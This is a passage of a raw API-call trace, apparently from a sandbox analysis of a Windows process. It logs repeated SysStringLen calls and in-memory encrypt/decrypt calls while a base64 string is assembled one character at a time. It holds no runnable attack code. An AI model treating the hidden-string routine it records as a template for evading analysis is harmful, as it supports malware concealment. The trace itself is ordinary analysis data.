OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.588] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.588] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.588] SysStringLen (param_1="NDZlODRm") returned 0x8 [0256.588] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.589] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0256.590] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.590] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.590] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.590] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.590] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.590] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.590] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.591] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.591] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0256.591] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.591] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.591] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.591] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0256.591] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.592] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.592] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0256.592] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.592] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.592] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.592] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0256.592] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.593] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.593] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0256.593] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.593] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.593] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0256.593] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.593] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.595] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.595] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.595] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0256.595] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.596] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0256.596] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.596] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.596] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.596] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.596] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0256.596] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.596] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.596] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.596] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.597] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0256.597] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.597] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.597] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.597] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.597] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0256.597] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.598] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.598] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.598] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.598] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0256.598] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.599] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.599] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.599] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.599] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0256.599] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.600] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.600] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.600] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.600] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0256.601] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.601] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.601] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.602] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0256.602] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.602] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.603] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0256.604] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.604] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0256.604] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.604] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.605] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.605] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0256.605] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.605] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.606] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.606] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.606] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0256.606] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.607] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.607] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0256.607] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.607] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.608] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.608] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0256.608] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.608] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.608] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.609] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0256.609] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.609] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.614] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.615] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0256.615] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.615] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.615] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.615] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.616] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0256.616] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.616] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.617] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0256.617] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.618] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0256.618] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.618] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.618] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.618] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.618] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0256.618] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.618] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.619] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.619] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.619] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0256.619] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.619] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.619] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.619] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.619] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0256.620] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.620] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.620] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.620] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.620] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0256.620] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.620] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.620] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.620] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.621] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0256.621] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.621] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.621] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.621] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.621] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0256.621] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.622] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.622] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.622] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.622] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0256.622] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.622] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.623] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0256.623] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.623] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0256.623] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.624] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.624] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.624] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.624] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0256.624] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.624] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.624] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.624] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.625] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0256.625] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0256.627] SysStringLen 